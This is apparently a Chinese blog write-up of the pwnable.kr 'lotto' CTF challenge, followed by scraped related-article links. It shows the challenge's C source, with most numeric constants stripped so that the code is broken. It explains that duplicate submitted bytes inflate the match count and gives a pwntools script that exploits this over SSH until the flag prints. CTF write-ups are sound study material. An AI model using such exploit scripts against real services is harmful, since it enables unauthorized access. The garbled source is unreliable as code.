pwnable。好像最近的几道题都不需要看汇编。

ssh lotto@pwnable.kr -p2222 (pw:guest)

直接down下来源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h> unsigned char submit[]; void play(){ int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout); int r;
r = read(, submit, ); printf("Lotto Start!\n");
//sleep(1); // generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-){
printf("error. tell admin\n");
exit(-);
}
unsigned char lotto[];
if(read(fd, lotto, ) != ){
printf("error2. tell admin\n");
exit(-);
}
for(i=; i<; i++){
lotto[i] = (lotto[i] % ) + ; // 1 ~ 45
}
close(fd); // calculate lotto score
int match = , j = ;
for(i=; i<; i++){
for(j=; j<; j++){
if(lotto[i] == submit[j]){
match++;
}
}
} // win!
if(match == ){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
} } void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
} int main(int argc, char* argv[]){ // menu
unsigned int menu; while(){ printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n"); scanf("%d", &menu); switch(menu){
case :
play();
break;
case :
help();
break;
case :
printf("bye\n");
return ;
default:
printf("invalid menu\n");
break;
}
}
return ;
}

看到随机数是从 /dev/urandom中取出的,搜了一下,发现这个是伪随机。

最开始的想法是直接找到第一个爆破一下,发现爆破难度还是挺大的,因为每次运行都是不一样的,这个是系统自行维护的。

找一下源代码吧。

    for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}

这部分乍一看好像没问题,循环6*6次,找到6次一样的就够了。

大致想想好像没啥问题,但是总觉得不对,如果这样输入6个1,当产生的lotto[6]中有一个是1就bypass了。

上脚本验证一下:

from pwn import *
s= ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)
pro = s.process('/home/lotto/lotto')
print pro.recv()
pro.sendline('')
print pro.recv()
str1 = ""
str1 += chr(1)+chr(1)+chr(1)+chr(1)+chr(1)+chr(6)
pro.sendline(str1)
revcstr = pro.recv()
print len(revcstr),revcstr
#exit() while 1:
pro.sendline('')
print pro.recv()
pro.sendline(str1)
a = pro.recv()
if len(a)>71: #71是先验知识,指输入错误返回字符串的长度,就是下面字符串的长度
print a
break
#pass
'''

Lotto Start!
bad luck...
- Select Menu -
1. Play Lotto
2. Help
3. Exit

'''

运行一下:

【pwnable.kr】lotto的更多相关文章

  1. 【pwnable.kr】 asm

    一道写shellcode的题目, #include <stdio.h> #include <string.h> #include <stdlib.h> #inclu ...

  2. 【pwnable.kr】 [simple login]

    Download : http://pwnable.kr/bin/login Running at : nc pwnable.kr 9003 先看看ida里面的逻辑. 比较重要的信息时input变量再 ...

  3. 【pwnable.kr】 brainfuck

    pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...

  4. 【pwnable.kr】 unlink

    pwnable.kr 第一阶段的最后一题! 这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考<C和C++安全编码一书>//不是广告 #includ ...

  5. 【pwnable.kr】 memcpy

    pwnable的新一题,和堆分配相关. http://pwnable.kr/bin/memcpy.c ssh memcpy@pwnable.kr -p2222 (pw:guest) 我觉得主要考察的是 ...

  6. 【pwnable.kr】 codemap

    pwnable新的一题. download: http://pwnable.kr/bin/codemap.exe ssh codemap@pwnable.kr -p2222 (pw:guest) 这道 ...

  7. 【pwnable.kr】 uaf

    目测是比较接近pwnable的一道题.考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题. ssh uaf@pwnable.kr -p2222 (pw:guest ...

  8. 【pwnable.kr】input

    这道题是一道一遍一遍满足程序需求的题. 网上其他的题解都是用了C语言或者python语言的本地调用,我想联系一下pwntools的远程调用就写了下面的脚本, 执行效果可以通过1~4的检测,到最后soc ...

  9. 【pwnable.kr】cmd2

    这道题是上一个cmd1的升级版 ssh cmd2@pwnable.kr -p2222 (pw:mommy now I get what PATH environmentis for :)) 登录之后, ...

随机推荐

  1. 简析ThreadLocal原理及应用

    简析ThreadLocal原理及应用 原创: 东晨雨 JAVA万维猿圈 4月17日 ThreadLocal的源码加上注释不超过八百行,源码结构清晰,代码也比较简洁.ThreadLocal可以说是Jav ...

  2. 多进程之multiprocessing模块、守护进程、互斥锁

    目录 1. multiprocessing 模块介绍 2. Process类的介绍 3. Process类的使用 4. 守护进程 5. 进程同步(锁) 1. multiprocessing 模块介绍 ...

  3. token和session的区别

    session和token都是用来保持会话,功能相同 一.session机制,原理 session是服务端存储的一个对象,主要用来存储所有访问过该服务端的客户端的用户信息(也可以存储其他信息),从而实 ...

  4. JuJu团队1月10号工作汇报

    JuJu团队1月10号工作汇报 JuJu   Scrum 团队成员 今日工作 剩余任务 困难 飞飞 fix出现的bug -- 无 婷婷 完善main.jl 训练流程 -- 无 恩升 绘图 -- 无 金 ...

  5. MySQL 常用SQL 汇总

    1.查看当前应用连接,连接数突增排查 select user,SUBSTRING_INDEX(host,':',1) as ip , count(*) as count,db from informa ...

  6. centos7 bond双网卡

    [root@pay network-scripts]# cat ifcfg-bond0 |grep -v \#TYPE="Ethernet"PROXY_METHOD="n ...

  7. COGS 2294. [HZOI 2015] 释迦

    额,其实就是裸的三模数NTT,上一篇已经说过了 哦,还有一个就是对乘起来炸long long的数取模,用long double之类的搞一下就好,精度什么的,,(看出题人心情??) #include&l ...

  8. Xeon 第一次训练赛 苏州大学ICPC集训队新生赛第二场(同步赛) [Cloned]

    A.给出一个字符串,求出连续的权值递增和,断开以后权值重新计数,水题 #include<iostream> #include<string> #include<cmath ...

  9. L1-046. 整除光棍(模拟除法)

    题意: 这里所谓的“光棍”,并不是指单身汪啦~ 说的是全部由1组成的数字,比如1.11.111.1111等.传说任何一个光棍都能被一个不以5结尾的奇数整除.比如,111111就可以被13整除. 现在, ...

  10. delphi环境变量

    @SET BDS=C:\Program Files (x86)\Embarcadero\RAD Studio\7.0 @SET BDSCOMMONDIR=C:\Users\Public\Documen ...